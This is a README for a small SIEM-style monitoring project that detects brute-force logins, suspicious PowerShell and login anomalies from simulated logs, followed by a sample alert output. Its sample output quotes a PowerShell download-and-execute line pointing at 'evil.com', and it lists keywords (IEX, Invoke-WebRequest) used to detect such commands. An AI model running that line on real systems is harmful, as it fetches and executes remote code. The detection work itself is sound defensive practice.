This project is a lightweight Security Information and Event Management (SIEM)-style system that simulates log ingestion, detects malicious activity, generates alerts, and performs basic correlation analysis.
It was built to demonstrate core cybersecurity monitoring concepts including brute-force detection, PowerShell-based attack detection, and behavioral anomaly detection.
The system follows a simple security monitoring pipeline:
Logs → Detection Rules → Alert Generation → Correlation → Incident Review Output
- Detects repeated failed login attempts within a short time window
- Flags potential credential stuffing or password guessing attacks
- Identifies suspicious PowerShell commands using keyword-based detection
- Flags common attack patterns (e.g., IEX, Invoke-WebRequest)
- Detects:
- Impossible travel (geographically inconsistent logins)
- New location logins
- Unusual login hours based on user baseline
- Groups and escalates related alerts into higher-severity incidents
- data/logs/ # 10 simulated attack datasets
- detectors/ # detection modules
- engine/ # correlation logic
- output/alerts.txt # generated alerts
- main.py # entry point
python main.py
ALERTS:
[HIGH] BRUTE_FORCE - alice has 3 failed logins in 60s
[HIGH] BRUTE_FORCE - alice has 4 failed logins in 60s
[HIGH] POWERSHELL - Suspicious PowerShell command: iex (new-object net.webclient).downloadstring('http://evil.com')
[LOW] NEW_LOCATION - alice login from new location ('Russia', 'Moscow')
[MEDIUM] IMPOSSIBLE_TRAVEL - alice moved from ('Canada', 'Vancouver') to ('Russia', 'Moscow') in 0:10:00
[LOW] NEW_LOCATION - bob login from new location ('Canada', 'Vancouver')
[LOW] NEW_LOCATION - alice login from new location ('USA', 'New York')
[MEDIUM] IMPOSSIBLE_TRAVEL - alice moved from ('Russia', 'Moscow') to ('USA', 'New York') in 0:50:00
[LOW] UNUSUAL_HOURS - alice logged in at 3:00 outside normal hours
[CRITICAL] ACCOUNT_COMPROMISE - Multiple suspicious signals indicate possible account takeover. user = alice